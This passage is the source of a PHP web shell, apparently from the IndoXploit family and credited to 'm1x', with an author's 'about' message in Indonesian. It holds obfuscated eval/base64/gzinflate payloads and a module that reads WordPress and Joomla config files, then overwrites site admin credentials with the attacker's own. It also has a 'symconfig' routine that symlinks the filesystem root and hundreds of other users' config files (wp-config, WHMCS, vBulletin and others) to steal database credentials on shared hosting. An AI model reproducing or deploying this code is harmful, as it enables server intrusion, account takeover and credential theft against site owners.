1242 eval(str_rot13(gzinflate(str_rot13(base64_decode(('vUdbQtswFH6v1P9jsJAapK7tNvEwdaMN1KK9WaJQe0tOlR3ZDtC5yQnO5ln89x3nUwLibi9RreTL953raoyJFcDmCWWNMhwO5pmQBWNG4OKacrJVBNcmWq8ZmFHngtMprQvUSaS0joTS18zzNN54I9FA5FmCSbgUJQGs1tHJZ7qLfxkuNKrJ3okHFQk9VlExSBadm1E2Ipu1z0s62iTCqcX798cgxR0tc+F82jgI53tM/WYexRoSdJQioor3e82Jq2oRSfsi10KGSs3+1rjYH1wRD86FI39x3ucdstPhIItsmSk8oN768LcSKWCuY5uIFINQepGCPIK/wwHQanXRQ64KFhWj2rWw0xqltNGxB0RcV8ugoXpzN3D4NIaPLTIiQ3Ek+SP+CzuWKkEAvI+cj3NnMhoTcjPy56ObHswnQdBlWmHqqzyDoI1zAR9zszaVkmybq1wL6Ynb1W35aL3csOX659nFbfvt8mW5b42hEv07QXBUS0m28gTqY4FoTnuR7l5vbZA7mXiMl95HcG8CeTjogTJY15mIkAfMGpW7ib7XeQzMsKMOLiuNBQQfPxkeA0jdEbM9OeplsJoDwgj+ENIUY+1SKOTiVyLy8LuIbOpIwjWJpYbBO5gbsBIzkhOjgDuheyEaVopLeffO8D/hs/v5tEcyWcMmxVRAp/BMe46ftef1OMlYRXup6eTF8+GHn3phHKxD3qKEtZTU34O3yKanrP/usTJScexbNExvGn4RGt6izcMB/XybZqVDB4fb87PVxXNHvUI0wp2XhQZKaIbd14qyrQnkoR34mkM+ep5upDS7oMmd3jY0iSVuSBaNqnn3lEgKr3xdDnVHTO/Of59fbA9MVur15rHNtEb1sgha7UroQ5m8LbEvzuM/'))))));
1243 } elseif($_GET['do'] == 'loghunter')
1244 {eval(str_rot13(gzinflate(str_rot13(base64_decode(("tUl7YtpVEP87VXyHiZMr0BLsPJqqgJ14QyBquuNrXEUlEExeeL2E5hZ7wS5pmu9+s7ZWgDM5RCmWJXt0f7Pz3JnJ52lphOsTQ+odbjFOjaGl1CCfWIlGTyPgLguIpQ+VoQKRYD7x8N8mDhsqC/iZRJ9DoxtDqNYDyx4xYA+20BUmvjEF7mw4wlL9WZ8J5o69b6lpcyhg8Qipju+aXkAVo35z+/az5KVGhoozmlEBilhLltbJyVCl6WULvpDx7kNE11lDpQ14NJsKY9hQKEyligc8DHNJFU8xcrXUKgRGV6hWhVooC6xMRCshRH2fz31OLQCfKtyQGVyNpOOg+DflE+hSPAhY+VyXsxRlZ6p3x+qRaWsK2sfqx3B13OZmN4E1QrZ9xuyqqkG5KyaEzCsuidTJdfbJEWEGzOYOE5PAim4j1fEJ/eSOSz7XHm5cqFE2n3bv1XwO4jeYFvfNxmyzNSgkrivclR7zuenIilALjFRpEM65SNzHY2A0nGubQ8Fdv+igZpH2sgfcAblAO6Vpj8lUPkUQYezqhVcB3r2DxaJFKL2AlvDykRjQbmRtpXt90eu0zi/+MJu9U/uijb8VuUxbclBEsBs45k+zkpS3K6iYBVLFaBylnOgI0hRL5Y3FQXRZfmiYBqEwMTNal2AkLeYk59Uya4KEVgfxLZhvd2PP9Djjmxm+i3WCbKyD0jm/ely2bV0lC8ZrMI/PSC4dTjskikOPWSQKiiRBlYk2KBQLancWQQZPKjtVNbgbxDLisK9w5ZNcjAFea4uBWE9P9T1a6/e7mtFxb8YtIi+SxYw7S8EcHX4+7R8bVxyhipKCcTHI0urpvyS8ijMz4sz1Wh6GxcLeoH3wp2nwmR/8RjF/+WNj9+FKVsElEitlvUooy9iV913ikmym133XiZ2pQbgjQUJZQrjEE5mO2peRjLGrIc0EvygbVDwqA/c8J+SOLzB2Q6kSJp0MzIZnS+ZUHcuQxS8P5vT/2KW2meKRHbey2DEnkutEuHe1GtDBZRMI6HD2F8rxaCjBjx+QTxpKDfidRgsLX/VsOyt7Mm/6IohStil49uKEetKv3+73D0KMWDsk3BP0jfIvrUvo8YG21e3o94+7mnP8FXTYGyqXptOW2vVBNe2kdNwiZh+r/Ns6D/N6WPV+vrTAT8slKBWe8WvLrREPoeMLav70RqakveP7ZuvYcdErllZIvvJ77rg0sNlJhj1PnYNCxUdCm/1rPK6MLByKKpbARIhG7ES6OQm5NTdvM7826yo34HbLiMVo85WApX0fXpBkw5+LB9CNtD7hkLPex0rFQBHbKs5S5j2nxQVCGfrXN63ehflb++a622H1zN56+/qm9OpMGzw9o09LDyIMydh1CsuTqb6lvxOKR6yiefbiK97cQF4lre4/idARGdaujmDr5XvpxPQXP/guZC3mu3GcxgGvFiMWRjD2jvXBa3biz+dp/gU="))))));}
1245elseif($_GET['do'] == 'about') {
1246
1247echo '<center><br><font style="font-family:Abel;font-size:20px">Jujur gw introvert, orang bilang gw ini sombong, gak pernah nyapa kalo ketemu, pelit ilmu, dan apalah itu kata mereka<br>ya memang orang seperti gw hanya 25% populasinya di bumi tercinta ini<br>Gw sudah terbiasa dengan kesendirian<br>Bekerja sendiri<br>Berfikir sendiri<br>Merenung sendiri<br>Bingung sendiri<br>Mencari solusi sendiri<br>Mereka cuma ada di cerita-cerita bahagiaku saja :)<br>- m1x</font><br><hr class="style-two"><br><h4><font face="Abel" color="lime">We respect ur code<br><br><font color="#004d00">All Member IndoXploit - Eldersc0de Family - 0x1999 - Spade - m1x<br><br>and all my friends<br><br></font>Big thx for u :)</font></h4><br></center>';
1248}
1249elseif($_GET['do'] == 'auto_cu_wp') {
1250if($_POST['gass']) {
1251 echo "<center><h1>WordPress Auto Change User 2</h1>
1252 <form method='post'>
1253 Link Config: <br>
1254 <textarea name='link' style='width: 450px; height:250px;'>";
1255 UrlLoop($_POST['linkconf'],'wordpress');
1256 echo"</textarea><br>
1257 <input type='submit' style='width: 450px;' name='auto_cu_wp' value='Hajar!!'>
1258 </form></center>";
1259} else {
1260 echo "<center><h1>WordPress Auto Change User 2</h1>
1261 <form method='post'>
1262 Link Config: <br>
1263 <input type='text' name='linkconf' height='10' size='50' placeholder='http://link.com/m1x_config2/'><br>
1264 <input type='submit' style='width: 450px;' name='gass' value='Hajar!!'>
1265 </form></center>";
1266 }
1267if($_POST['auto_cu_wp']) {
1268
1269 function anucurl($sites) {
1270 $ch = curl_init($sites);
1271 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
1272 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
1273 curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
1274 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
1275 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
1276 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
1277 curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
1278 curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
1279 curl_setopt($ch, CURLOPT_COOKIESESSION,true);
1280 $data = curl_exec($ch);
1281 curl_close($ch);
1282 return $data;
1283 }
1284 $link = explode("\r\n", $_POST['link']);
1285 $user = "m1xm1xm1x";
1286 $pass = "m1xm1xm1x";
1287 $passx = md5($pass);
1288 foreach($link as $dir_config) {
1289 $config = anucurl($dir_config);
1290 $dbhost = ambilkata($config,"DB_HOST', '","'");
1291 $dbuser = ambilkata($config,"DB_USER', '","'");
1292 $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
1293 $dbname = ambilkata($config,"DB_NAME', '","'");
1294 $dbprefix = ambilkata($config,"table_prefix = '","'");
1295 $prefix = $dbprefix."users";
1296 $option = $dbprefix."options";
1297 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
1298 $db = mysql_select_db($dbname);
1299 $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
1300 $result = mysql_fetch_array($q);
1301 $id = $result[ID];
1302 $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
1303 $result2 = mysql_fetch_array($q2);
1304 $target = $result2[option_value];
1305 if($target == '') {
1306 echo "[-] <font color=red>error, gabisa ambil nama domain nya</font><br>";
1307 } else {
1308 echo "<font color=blue>[</font> $target <font color=blue>]</font></font><br>";
1309 }
1310 $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
1311 if(!$conn OR !$db OR !$update) {
1312 echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
1313 mysql_close($conn);
1314 } else {
1315 echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
1316 echo "[+] username: <font color=lime>$user</font><br>";
1317 echo "[+] password: <font color=lime>$pass</font><br><br>";
1318
1319 mysql_close($conn);
1320 }
1321 }
1322 }
1323
1324}
1325elseif($_GET['do'] == 'auto_cu_joomla') {
1326if($_POST['gass']) {
1327 echo "<center><h1>Joomla Auto Change User 2</h1>
1328 <form method='post'>
1329 Link Config: <br>
1330 <textarea name='link' style='width: 450px; height:250px;'>";
1331 UrlLoop($_POST['linkconf'],'joomla');
1332 echo"</textarea><br>
1333 <input type='submit' style='width: 450px;' name='auto_cu_joomla' value='Hajar!!'>
1334 </form></center>";
1335} else {
1336 echo "<center><h1>Joomla Auto Change User 2</h1>
1337 <form method='post'>
1338 Link Config: <br>
1339 <input type='text' name='linkconf' height='10' size='50' placeholder='http://link.com/m1x_config2/'><br>
1340 <input type='submit' style='width: 450px;' name='gass' value='Hajar!!'>
1341 </form></center>";
1342 }
1343if($_POST['auto_cu_joomla']) {
1344
1345 function anucurl($sites) {
1346 $ch = curl_init($sites);
1347 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
1348 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
1349 curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
1350 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
1351 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
1352 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
1353 curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
1354 curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
1355 curl_setopt($ch, CURLOPT_COOKIESESSION,true);
1356 $data = curl_exec($ch);
1357 curl_close($ch);
1358 return $data;
1359 }
1360 $link = explode("\r\n", $_POST['link']);
1361 $user = "m1xm1xm1x";
1362 $pass = "m1xm1xm1x";
1363 $passx = md5($pass);
1364 foreach($link as $dir_config) {
1365 $config = anucurl($dir_config);
1366 $dbhost = ambilkata($config,"host = '","'");
1367 $dbuser = ambilkata($config,"user = '","'");
1368 $dbpass = ambilkata($config,"password = '","'");
1369 $dbname = ambilkata($config,"db = '","'");
1370 $dbprefix = ambilkata($config,"dbprefix = '","'");
1371 $prefix = $dbprefix."users";
1372 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
1373 $db = mysql_select_db($dbname);
1374 $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
1375 $result = mysql_fetch_array($q);
1376 $id = $result['id'];
1377 $site = ambilkata($config,"sitename = '","'");
1378 $update = mysql_query("UPDATE $prefix SET username='$user',password='$passx' WHERE id='$id'");
1379 echo "Config => ".$dir_config."<br>";
1380 echo "CMS => Joomla<br>";
1381 if($site == '') {
1382 echo "Sitename => <font color=red>error, gabisa ambil nama domain nya</font><br>";
1383 } else {
1384 echo "Sitename => $site<br>";
1385 }
1386 if(!$update OR !$conn OR !$db) {
1387 echo "Status => <font color=red>".mysql_error()."</font><br><br>";
1388 } else {
1389 echo "Status => Done , Username : <font color=lime>$user</font> Password : <font color=lime>$pass</font><br><br>";
1390 }
1391 mysql_close($conn);
1392 }
1393 }
1394}
1395elseif($_GET['do'] == 'symconfig') {
1396if(strtolower(substr(PHP_OS, 0, 3)) == "win"){
1397echo '<script>alert("Skid this won\'t work on Windows")</script>';
1398exit;
1399}
1400else
1401{
1402if($_POST["m"] && !$_POST["passwd"]==""){
1403@mkdir("m1x_config2", 0777);
1404@chdir("m1x_config2");
1405@symlink("/","root");
1406$htaccess="Options Indexes FollowSymLinks
1407DirectoryIndex m1x.htm
1408AddType text/plain .php
1409AddHandler text/plain .php
1410Satisfy Any";
1411@file_put_contents(".htaccess",$htaccess);
1412$etc_passwd=$_POST["passwd"];
1413$etc_passwd=explode("\n",$etc_passwd);
1414foreach($etc_passwd as $passwd){
1415$pawd=explode(":",$passwd);
1416$user =$pawd[0];
1417
1418@symlink('/','m1x_config2/root');
1419@symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-Vbulletin.txt');
1420@symlink('/home/'.$user.'/public_html/includes/config.php',$user.'-Vbulletin.txt');
1421@symlink('/home/'.$user.'/public_html/forum/includes/config.php',$user.'-Vbulletin.txt');
1422@symlink('/home/'.$user.'/public_html/forums/includes/config.php',$user.'-Vbulletin.txt');
1423@symlink('/home/'.$user.'/public_html/cc/includes/config.php',$user.'-Vbulletin.txt');
1424@symlink('/home/'.$user.'/public_html/inc/config.php',$user.'-MyBB.txt');
1425@symlink('/home/'.$user.'/public_html/includes/configure.php',$user.'-OsCommerce.txt');
1426@symlink('/home/'.$user.'/public_html/shop/includes/configure.php',$user.'-OsCommerce.txt');
1427@symlink('/home/'.$user.'/public_html/os/includes/configure.php',$user.'-OsCommerce.txt');
1428@symlink('/home/'.$user.'/public_html/oscom/includes/configure.php',$user.'-OsCommerce.txt');
1429@symlink('/home/'.$user.'/public_html/products/includes/configure.php',$user.'-OsCommerce.txt');
1430@symlink('/home/'.$user.'/public_html/cart/includes/configure.php',$user.'-OsCommerce.txt');
1431@symlink('/home/'.$user.'/public_html/inc/conf_global.php',$user.'-IPB.txt');
1432@symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-Wordpress.txt');
1433@symlink('/home/'.$user.'/public_html/wp/test/wp-config.php',$user.'-Wordpress.txt');
1434@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-Wordpress.txt');
1435@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-Wordpress.txt');
1436@symlink('/home/'.$user.'/public_html/portal/wp-config.php',$user.'-Wordpress.txt');
1437@symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-Wordpress.txt');
1438@symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-Wordpress.txt');
1439@symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-Wordpress.txt');
1440@symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-Wordpress.txt');
1441@symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-Wordpress.txt');
1442@symlink('/home/'.$user.'/public_html/test/wp-config.php',$user.'-Wordpress.txt');
1443@symlink('/home/'.$user.'/public_html/demo/wp-config.php',$user.'-Wordpress.txt');
1444@symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-Wordpress.txt');
1445@symlink('/home/'.$user.'/public_html/v1/wp-config.php',$user.'-Wordpress.txt');
1446@symlink('/home/'.$user.'/public_html/v2/wp-config.php',$user.'-Wordpress.txt');
1447@symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-Wordpress.txt');
1448@symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-Wordpress.txt');
1449@symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-Wordpress.txt');
1450@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-Joomla.txt');
1451@symlink('/home/'.$user.'/public_html/blog/configuration.php',$user.'-Joomla.txt');
1452@symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-^WHMCS.txt');
1453@symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-Joomla.txt');
1454@symlink('/home/'.$user.'/public_html/beta/configuration.php',$user.'-Joomla.txt');
1455@symlink('/home/'.$user.'/public_html/portal/configuration.php',$user.'-Joomla.txt');
1456@symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-Joomla.txt');
1457@symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-Joomla.txt');
1458@symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-Joomla.txt');
1459@symlink('/home/'.$user.'/public_html/demo/configuration.php',$user.'-Joomla.txt');
1460@symlink('/home/'.$user.'/public_html/test/configuration.php',$user.'-Joomla.txt');
1461@symlink('/home/'.$user.'/public_html/v1/configuration.php',$user.'-Joomla.txt');
1462@symlink('/home/'.$user.'/public_html/v2/configuration.php',$user.'-Joomla.txt');
1463@symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-Joomla.txt');
1464@symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-Joomla.txt');
1465@symlink('/home/'.$user.'/public_html/WHMCS/configuration.php',$user.'-WHMCS.txt');
1466@symlink('/home/'.$user.'/public_html/whmcs1/configuration.php',$user.'-WHMCS.txt');
1467@symlink('/home/'.$user.'/public_html/Whmcs/configuration.php',$user.'-WHMCS.txt');
1468@symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
1469@symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
1470@symlink('/home/'.$user.'/public_html/WHMC/configuration.php',$user.'-WHMCS.txt');
1471@symlink('/home/'.$user.'/public_html/Whmc/configuration.php',$user.'-WHMCS.txt');
1472@symlink('/home/'.$user.'/public_html/whmc/configuration.php',$user.'-WHMCS.txt');
1473@symlink('/home/'.$user.'/public_html/WHM/configuration.php',$user.'-WHMCS.txt');
1474@symlink('/home/'.$user.'/public_html/Whm/configuration.php',$user.'-WHMCS.txt');
1475@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-WHMCS.txt');
1476@symlink('/home/'.$user.'/public_html/HOST/configuration.php',$user.'-WHMCS.txt');
1477@symlink('/home/'.$user.'/public_html/Host/configuration.php',$user.'-WHMCS.txt');
1478@symlink('/home/'.$user.'/public_html/host/configuration.php',$user.'-WHMCS.txt');
1479@symlink('/home/'.$user.'/public_html/SUPPORTES/configuration.php',$user.'-WHMCS.txt');
1480@symlink('/home/'.$user.'/public_html/Supportes/configuration.php',$user.'-WHMCS.txt');
1481@symlink('/home/'.$user.'/public_html/supportes/configuration.php',$user.'-WHMCS.txt');
1482@symlink('/home/'.$user.'/public_html/domains/configuration.php',$user.'-WHMCS.txt');
1483@symlink('/home/'.$user.'/public_html/domain/configuration.php',$user.'-WHMCS.txt');
1484@symlink('/home/'.$user.'/public_html/Hosting/configuration.php',$user.'-WHMCS.txt');
1485@symlink('/home/'.$user.'/public_html/HOSTING/configuration.php',$user.'-WHMCS.txt');
1486@symlink('/home/'.$user.'/public_html/hosting/configuration.php',$user.'-WHMCS.txt');
1487@symlink('/home/'.$user.'/public_html/CART/configuration.php',$user.'-WHMCS.txt');
1488@symlink('/home/'.$user.'/public_html/Cart/configuration.php',$user.'-WHMCS.txt');
1489@symlink('/home/'.$user.'/public_html/cart/configuration.php',$user.'-WHMCS.txt');
1490@symlink('/home/'.$user.'/public_html/ORDER/configuration.php',$user.'-WHMCS.txt');
1491@symlink('/home/'.$user.'/public_html/Order/configuration.php',$user.'-WHMCS.txt');
1492@symlink('/home/'.$user.'/public_html/order/configuration.php',$user.'-WHMCS.txt');
1493@symlink('/home/'.$user.'/public_html/CLIENT/configuration.php',$user.'-WHMCS.txt');
1494@symlink('/home/'.$user.'/public_html/Client/configuration.php',$user.'-WHMCS.txt');
1495@symlink('/home/'.$user.'/public_html/client/configuration.php',$user.'-WHMCS.txt');
1496@symlink('/home/'.$user.'/public_html/CLIENTAREA/configuration.php',$user.'-WHMCS.txt');
1497@symlink('/home/'.$user.'/public_html/Clientarea/configuration.php',$user.'-WHMCS.txt');
1498@symlink('/home/'.$user.'/public_html/clientarea/configuration.php',$user.'-WHMCS.txt');
1499@symlink('/home/'.$user.'/public_html/SUPPORT/configuration.php',$user.'-WHMCS.txt');
1500@symlink('/home/'.$user.'/public_html/Support/configuration.php',$user.'-WHMCS.txt');
1501@symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-WHMCS.txt');
1502@symlink('/home/'.$user.'/public_html/BILLING/configuration.php',$user.'-WHMCS.txt');
1503@symlink('/home/'.$user.'/public_html/Billing/configuration.php',$user.'-WHMCS.txt');
1504@symlink('/home/'.$user.'/public_html/billing/configuration.php',$user.'-WHMCS.txt');
1505@symlink('/home/'.$user.'/public_html/BUY/configuration.php',$user.'-WHMCS.txt');
1506@symlink('/home/'.$user.'/public_html/Buy/configuration.php',$user.'-WHMCS.txt');
1507@symlink('/home/'.$user.'/public_html/buy/configuration.php',$user.'-WHMCS.txt');
1508@symlink('/home/'.$user.'/public_html/MANAGE/configuration.php',$user.'-WHMCS.txt');
1509@symlink('/home/'.$user.'/public_html/Manage/configuration.php',$user.'-WHMCS.txt');
1510@symlink('/home/'.$user.'/public_html/manage/configuration.php',$user.'-WHMCS.txt');
1511@symlink('/home/'.$user.'/public_html/CLIENTSUPPORT/configuration.php',$user.'-WHMCS.txt');
1512@symlink('/home/'.$user.'/public_html/ClientSupport/configuration.php',$user.'-WHMCS.txt');
1513@symlink('/home/'.$user.'/public_html/Clientsupport/configuration.php',$user.'-WHMCS.txt');
1514@symlink('/home/'.$user.'/public_html/clientsupport/configuration.php',$user.'-WHMCS.txt');
1515@symlink('/home/'.$user.'/public_html/CHECKOUT/configuration.php',$user.'-WHMCS.txt');
1516@symlink('/home/'.$user.'/public_html/Checkout/configuration.php',$user.'-WHMCS.txt');
1517@symlink('/home/'.$user.'/public_html/checkout/configuration.php',$user.'-WHMCS.txt');
1518@symlink('/home/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
1519@symlink('/home/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
1520@symlink('/home/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
1521@symlink('/home/'.$user.'/public_html/BASKET/configuration.php',$user.'-WHMCS.txt');
1522@symlink('/home/'.$user.'/public_html/Basket/configuration.php',$user.'-WHMCS.txt');
1523@symlink('/home/'.$user.'/public_html/basket/configuration.php',$user.'-WHMCS.txt');
1524@symlink('/home/'.$user.'/public_html/SECURE/configuration.php',$user.'-WHMCS.txt');
1525@symlink('/home/'.$user.'/public_html/Secure/configuration.php',$user.'-WHMCS.txt');
1526@symlink('/home/'.$user.'/public_html/secure/configuration.php',$user.'-WHMCS.txt');
1527@symlink('/home/'.$user.'/public_html/SALES/configuration.php',$user.'-WHMCS.txt');
1528@symlink('/home/'.$user.'/public_html/Sales/configuration.php',$user.'-WHMCS.txt');
1529@symlink('/home/'.$user.'/public_html/sales/configuration.php',$user.'-WHMCS.txt');
1530@symlink('/home/'.$user.'/public_html/BILL/configuration.php',$user.'-WHMCS.txt');
1531@symlink('/home/'.$user.'/public_html/Bill/configuration.php',$user.'-WHMCS.txt');
1532@symlink('/home/'.$user.'/public_html/bill/configuration.php',$user.'-WHMCS.txt');
1533@symlink('/home/'.$user.'/public_html/PURCHASE/configuration.php',$user.'-WHMCS.txt');
1534@symlink('/home/'.$user.'/public_html/Purchase/configuration.php',$user.'-WHMCS.txt');
1535@symlink('/home/'.$user.'/public_html/purchase/configuration.php',$user.'-WHMCS.txt');
1536@symlink('/home/'.$user.'/public_html/ACCOUNT/configuration.php',$user.'-WHMCS.txt');
1537@symlink('/home/'.$user.'/public_html/Account/configuration.php',$user.'-WHMCS.txt');
1538@symlink('/home/'.$user.'/public_html/account/configuration.php',$user.'-WHMCS.txt');
1539@symlink('/home/'.$user.'/public_html/USER/configuration.php',$user.'-WHMCS.txt');
1540@symlink('/home/'.$user.'/public_html/User/configuration.php',$user.'-WHMCS.txt');
1541@symlink('/home/'.$user.'/public_html/user/configuration.php',$user.'-WHMCS.txt');
1542@symlink('/home/'.$user.'/public_html/CLIENTS/configuration.php',$user.'-WHMCS.txt');
1543@symlink('/home/'.$user.'/public_html/Clients/configuration.php',$user.'-WHMCS.txt');
1544@symlink('/home/'.$user.'/public_html/clients/configuration.php',$user.'-WHMCS.txt');
1545@symlink('/home/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
1546@symlink('/home/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
1547@symlink('/home/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
1548@symlink('/home/'.$user.'/public_html/MY/configuration.php',$user.'-WHMCS.txt');
1549@symlink('/home/'.$user.'/public_html/My/configuration.php',$user.'-WHMCS.txt');
1550@symlink('/home/'.$user.'/public_html/my/configuration.php',$user.'-WHMCS.txt');
1551@symlink('/home/'.$user.'/public_html/secure/whm/configuration.php',$user.'-WHMCS.txt');
1552@symlink('/home/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-WHMCS.txt');
1553@symlink('/home/'.$user.'/public_html/panel/configuration.php',$user.'-WHMCS.txt');
1554@symlink('/home/'.$user.'/public_html/clientes/configuration.php',$user.'-WHMCS.txt');
1555@symlink('/home/'.$user.'/public_html/cliente/configuration.php',$user.'-WHMCS.txt');
1556@symlink('/home/'.$user.'/public_html/support/order/configuration.php',$user.'-WHMCS.txt');
1557@symlink('/home/'.$user.'/public_html/bb-config.php',$user.'-BoxBilling.txt');
1558@symlink('/home/'.$user.'/public_html/boxbilling/bb-config.php',$user.'-BoxBilling.txt');
1559@symlink('/home/'.$user.'/public_html/box/bb-config.php',$user.'-BoxBilling.txt');
1560@symlink('/home/'.$user.'/public_html/host/bb-config.php',$user.'-BoxBilling.txt');
1561@symlink('/home/'.$user.'/public_html/Host/bb-config.php',$user.'-BoxBilling.txt');
1562@symlink('/home/'.$user.'/public_html/supportes/bb-config.php',$user.'-BoxBilling.txt');
1563@symlink('/home/'.$user.'/public_html/support/bb-config.php',$user.'-BoxBilling.txt');
1564@symlink('/home/'.$user.'/public_html/hosting/bb-config.php',$user.'-BoxBilling.txt');
1565@symlink('/home/'.$user.'/public_html/cart/bb-config.php',$user.'-BoxBilling.txt');
1566@symlink('/home/'.$user.'/public_html/order/bb-config.php',$user.'-BoxBilling.txt');
1567@symlink('/home/'.$user.'/public_html/client/bb-config.php',$user.'-BoxBilling.txt');
1568@symlink('/home/'.$user.'/public_html/clients/bb-config.php',$user.'-BoxBilling.txt');
1569@symlink('/home/'.$user.'/public_html/cliente/bb-config.php',$user.'-BoxBilling.txt');
1570@symlink('/home/'.$user.'/public_html/clientes/bb-config.php',$user.'-BoxBilling.txt');
1571@symlink('/home/'.$user.'/public_html/billing/bb-config.php',$user.'-BoxBilling.txt');
1572@symlink('/home/'.$user.'/public_html/billings/bb-config.php',$user.'-BoxBilling.txt');
1573@symlink('/home/'.$user.'/public_html/my/bb-config.php',$user.'-BoxBilling.txt');
1574@symlink('/home/'.$user.'/public_html/secure/bb-config.php',$user.'-BoxBilling.txt');
1575@symlink('/home/'.$user.'/public_html/support/order/bb-config.php',$user.'-BoxBilling.txt');
1576@symlink('/home/'.$user.'/public_html/includes/dist-configure.php',$user.'-Zencart.txt');
1577@symlink('/home/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-Zencart.txt');
1578@symlink('/home/'.$user.'/public_html/products/includes/dist-configure.php',$user.'-Zencart.txt');
1579@symlink('/home/'.$user.'/public_html/cart/includes/dist-configure.php',$user.'-Zencart.txt');
1580@symlink('/home/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-Zencart.txt');
1581@symlink('/home/'.$user.'/public_html/includes/iso4217.php',$user.'-Hostbills.txt');
1582@symlink('/home/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-Hostbills.txt');
1583@symlink('/home/'.$user.'/public_html/host/includes/iso4217.php',$user.'-Hostbills.txt');
1584@symlink('/home/'.$user.'/public_html/Host/includes/iso4217.php',$user.'-Hostbills.txt');
1585@symlink('/home/'.$user.'/public_html/supportes/includes/iso4217.php',$user.'-Hostbills.txt');
1586@symlink('/home/'.$user.'/public_html/support/includes/iso4217.php',$user.'-Hostbills.txt');
1587@symlink('/home/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-Hostbills.txt');
1588@symlink('/home/'.$user.'/public_html/cart/includes/iso4217.php',$user.'-Hostbills.txt');
1589@symlink('/home/'.$user.'/public_html/order/includes/iso4217.php',$user.'-Hostbills.txt');
1590@symlink('/home/'.$user.'/public_html/client/includes/iso4217.php',$user.'-Hostbills.txt');
1591@symlink('/home/'.$user.'/public_html/clients/includes/iso4217.php',$user.'-Hostbills.txt');
1592@symlink('/home/'.$user.'/public_html/cliente/includes/iso4217.php',$user.'-Hostbills.txt');
1593@symlink('/home/'.$user.'/public_html/clientes/includes/iso4217.php',$user.'-Hostbills.txt');
1594@symlink('/home/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-Hostbills.txt');
1595@symlink('/home/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-Hostbills.txt');
1596@symlink('/home/'.$user.'/public_html/my/includes/iso4217.php',$user.'-Hostbills.txt');
1597@symlink('/home/'.$user.'/public_html/secure/includes/iso4217.php',$user.'-Hostbills.txt');
1598@symlink('/home/'.$user.'/public_html/support/order/includes/iso4217.php',$user.'-Hostbills.txt');
1599
1600//Home1
1601
1602@symlink('/home1/'.$user.'/public_html/vb/includes/config.php',$user.'-Vbulletin.txt');
1603@symlink('/home1/'.$user.'/public_html/includes/config.php',$user.'-Vbulletin.txt');
1604@symlink('/home1/'.$user.'/public_html/forum/includes/config.php',$user.'-Vbulletin.txt');
1605@symlink('/home1/'.$user.'/public_html/forums/includes/config.php',$user.'-Vbulletin.txt');
1606@symlink('/home1/'.$user.'/public_html/cc/includes/config.php',$user.'-Vbulletin.txt');
1607@symlink('/home1/'.$user.'/public_html/inc/config.php',$user.'-MyBB.txt');
